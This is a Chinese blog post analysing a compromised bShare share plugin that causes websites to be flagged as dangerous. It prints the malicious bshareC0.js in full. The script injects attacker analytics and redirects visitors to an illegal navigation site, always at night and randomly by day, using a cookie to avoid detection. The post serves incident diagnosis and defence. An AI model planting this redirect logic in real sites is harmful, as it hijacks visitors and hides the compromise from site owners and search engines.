近期,许多网站运营者在日常维护中发现,自己的网站在浏览器中打开时,页面被直接拦截,并弹出红色警示:“此网站疑似含有风险内容”。与此同时,网站在夜间或随机时段会出现点击网页偶尔跳转至非法博彩、色情导航站的严重问题。
经过深入排查,我们发现导致这一现象的罪魁祸首,往往是网站源码中一段看似无害的第三方“分享插件”代码。今天,我们就来深度剖析这一典型的供应链劫持案例,并提供基于 Apache 的 Content-Security-Policy (CSP) 终极防御方案。
很多出现此类问题的网站源码大部分都是因为加载了 bShare 插件导致的。表面上看,这像是一个用于分享到 QQ 空间、微博的社交插件,实则暗藏杀机。
代码深度分析:
buttonLite.js,这通常是正规的分享按钮 UI 逻辑,用来迷惑网站管理员,让人误以为只是普通的功能插件。bshareC0.js。实际上,buttonLite.js 和 bshareC0.js 均已被黑客篡改,包含了恶意代码。通过浏览器 F12 开发者工具(Network 面板)查看 bshareC0.js 的响应内容,可以清晰地看到其被替换为以下恶意 JavaScript 逻辑:
// 1. 植入百度统计,用于暗中监控被劫持网站的流量
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
// 注意:此处统计ID已被黑客替换为黑产自己的ID,用于窃取流量数据
hm.src = "https://hm.baidu.com/hm.js?[被篡改的统计ID]";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
// 2. 核心恶意跳转逻辑
(function() {
const COOKIE_NAME = 'last_redirect_time';
// 注意:此处为黑客控制的非法导航站域名
const REDIRECT_URL = 'https://[恶意域名]/?bs';
// 获取Cookie的辅助函数
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
return null;
}
// 设置12小时有效期的Cookie,防止同一用户频繁跳转
function set12HourCookie(name, value) {
const date = new Date();
date.setTime(date.getTime() + (12 * 60 * 60 * 1000));
document.cookie = `${name}=${value}; expires=${date.toUTCString()}; path=/`;
}
// 获取当前北京时间
function getBeijingHour() {
return parseInt(new Intl.DateTimeFormat('en-US', {
timeZone: 'Asia/Shanghai',
hour: 'numeric',
hour12: false
}).format(new Date()));
}
// 如果12小时内已经跳转过,则不再跳转(规避检测)
if (getCookie(COOKIE_NAME)) {
return;
}
const currentHour = getBeijingHour();
let shouldRedirect = false;
// 劫持策略:晚上19点至次日6点,100%强制跳转
if (currentHour >= 19 || currentHour < 6) {
shouldRedirect = true;
} else {
// 白天时段,以30%的概率随机跳转(以此规避搜索引擎爬虫的检测)
if (Math.random() < 0.3) {
shouldRedirect = true;
}
}
// 执行跳转并打上Cookie标记
if (shouldRedirect) {
set12HourCookie(COOKIE_NAME, 'true');
window.location.href = REDIRECT_URL;
}
})(); 后果:一旦搜索引擎识别到这种恶意重定向,网站会被立即标记为“危险站点”,导致排名清零、流量归零。同时,由于跳转至非法站点,浏览器等安全组件会直接拦截该网站或者弹出警示用户,导致正常用户无法访问。
转载请注明:半亩方塘 » 网站点击偶尔跳转到非法网站?浏览器拦截“疑似危险内容”及 bShare 插件劫持排查与 CSP 防御方案
页面: 1 2